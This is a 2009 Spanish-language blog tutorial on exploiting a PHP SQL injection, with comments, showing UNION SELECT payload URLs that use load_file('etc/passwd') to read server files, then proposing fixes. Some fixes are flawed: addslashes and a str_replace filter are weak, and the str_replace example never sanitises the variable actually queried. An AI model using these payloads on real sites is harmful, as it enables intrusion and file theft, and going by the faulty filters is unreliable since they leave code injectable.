Backup Oficial de SeguridadBlanca.Org

martes, 27 de octubre de 2009

Obtener Archivos del Server con Sql Injection

Digamos que hemos encontrado un sql injection magic quoutes = off entonces usamos el Admin Path Finder para encontrar una panel pero resulta que no lo encuentra, entonces nosotros diriamos pero entonces que hacemos con el Sql Injection... vamos a hacer algo bien bacan...

Vamos a mostrar primero como sería el code vulnerable y por que lo es...

Code:


<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?

Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:

http://www.webvulnerable.pe/profile.php?id=1

Ahora vamos a inyectarla una inyeccion simple...


http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--


Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...

http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--

En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...

ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...

simplemente hay que hacer algo pequeño:


<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...


Espero les sirva este tutorial y como vieron nisiquiera subimos shell...

Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...


EDIT - Filtro recomendado por Ozx - undersecurity.net:


<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>

====

Otra Opción con Str Replace... by me...


<?php
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...



Saludos
Dr.White

3 comentarios:

  1. En lo del Strip_Tags... mmm... usen Addslashes() en todo caso... lo del magic_quotes() me parece que hubo un mal entendido lo no dije que dependía de eso... lo que yo intentaba decir es que con el Magic_quotes en off se podían hacer mas cosas pero creo que uno se pueden confundir me doy cuenta por lo que dice... al principio creo que fue un error mio...

    Pd: es mas se podría evitar simplemente poniendo que se acepten integers para el id pero ahora edito poniendo addslashes()

    oz muchas gracias por comentar =)

    Saludos

    ResponderEliminar
  2. jejeje claro ¡ o incluso con is_numeric, o con (int)$var¡
    y claramente dejando error_reporting en 0 ¡ pero eso es harina de otro costal ¡

    Saludos bro ¡
    Oz¡
    Undersecurity.net¡

    ResponderEliminar
  3. justo lo que dije =) lo del integer :p mmm is_numeric no he usado para este tipo de cosas pero es factible usarlo


    ========

    Undersecurity.NET ENTREN =)


    Saludos y Gracias oz

    ResponderEliminar